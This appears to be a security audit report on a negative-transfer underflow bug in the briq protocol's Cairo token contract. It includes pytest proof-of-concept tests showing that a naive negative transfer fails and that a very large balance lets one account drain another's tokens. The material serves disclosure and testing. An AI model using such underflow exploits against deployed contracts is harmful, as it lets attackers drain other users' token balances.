# Briq Negative Transfers - Relevant Function: https://github.com/briqNFT/briq-protocol/blob/next/contracts/briq_erc1155_like/transferability.cairo#L87 ### PoC Add the following file to your `tests/` directory. This is just the skeleton. I will add different test cases as I go, to explain what can and can not be exploited with this bug. ``` import os import pytest import pytest_asyncio from starkware.starknet.testing.starknet import Starknet from starkware.starkware_utils.error_handling import StarkException from starkware.starknet.compiler.compile import compile_starknet_files CONTRACT_SRC = os.path.join(os.path.dirname(__file__), "..", "contracts") FAKE_BRIQ_PROXY_ADDRESS = 0xfadecafe ADMIN = 0x0 # No proxy so no admin ADDRESS = 0x123456 OTHER_ADDRESS = 0x654321 def compile(path): return compile_starknet_files( files=[os.path.join(CONTRACT_SRC, path)], debug_info=True ) import asyncio @pytest.fixture(scope="session") def event_loop(): return asyncio.get_event_loop() @pytest.fixture(scope="session") def compiled_briq(): return compile("briq_interface.cairo") @pytest_asyncio.fixture(scope="session") async def empty_starknet(): return await Starknet.empty() @pytest_asyncio.fixture async def starknet(empty_starknet): # Create a new Starknet class that simulates the StarkNet return Starknet(state=empty_starknet.state.copy()) @pytest_asyncio.fixture async def briq_contract(starknet: Starknet, compiled_briq): briq_contract = await starknet.deploy(contract_def=compiled_briq) return briq_contract def invoke_briq(call, addr=ADMIN): return call.invoke(caller_address=addr) ``` --- #### First scenario: Naive negative transfer (not possible) The following test case is attempting to transfer `-90` tokens from an account that has `100` tokens. It fails because of [this hint in `assert_le_felt`](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/math.cairo#L162), because `-90` is represented as a very large number (361850...0391). One thing I am not sure about is whether this hint has to be executed. At the moment, all hints are whitelisted, and you therefore can not remove this hint and inject a malicious one later. But are hint whitelists going to be removed at some point in the future? The rest of the checks in [`assert_le_felt`](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/math.cairo#L153) should still prevent this from being exploitable. ``` @pytest.mark.asyncio async def test_negative_transfer_basic(briq_contract): mint_amount = 100 transfer_amount = -90 await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=mint_amount)) await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=transfer_amount)) ``` --- #### Second scenario: Negative transfer with large balance (possible) Consider the following balances: ``` User A: P - 1 User B: 100 ``` User A can call `transferFT` with `qty` set to `-x` where `1 <= x <= 100`, and it will drain User B's balance by `x` tokens. User A will drain most of their tokens here, since they are losing `-x`, which underflows to a very large number. This allows us to get around the checks that prevent [the first scenario](https://hackmd.io/AxXirjSfT8GwViQdHwXCmQ#First-scenario-Naive-negative-transfer-not-possible) from being possible. The limitation of the exploit is that the attacker needs a large amount of tokens, and they also drain their own funds. **I am unable to figure out a way to exploit this in a way that is economically feasible to the attacker (help on this would be appreciated)** ``` @pytest.mark.asyncio async def test_negative_transfer_large_initial_supply(briq_contract): await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=-1)) print((await briq_contract.balanceOf(owner=ADDRESS, material=1).call()).result.balance) # OTHER_ADDRESS now has 5 tokens await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=5)) # Mint 5 more tokens await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=5)) # Transfer -1 tokens to OTHER_ADDRESS await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=-4)) # The negative token transfer also leads to ADDRESS' balance being drained print((await briq_contract.balanceOf(owner=OTHER_ADDRESS, material=1).call()).result.balance) print((await briq_contract.balanceOf(owner=ADDRESS, material=1).call()).result.balance) # User A now wants to transfer his 5 tokens, but he no longer has enough await invoke_briq(briq_contract.transferFT(sender=OTHER_ADDRESS, recipient=ADDRESS, material=1, qty=5)) ``` It is also worth noting that in this code snippet, if `ADDRESS` transfers `-6` tokens (instead of `-1`), to underflow `OTHER_ADDRESS`'s balance, `OTHER_ADDRESS` will have `P - 1` tokens (a very large number).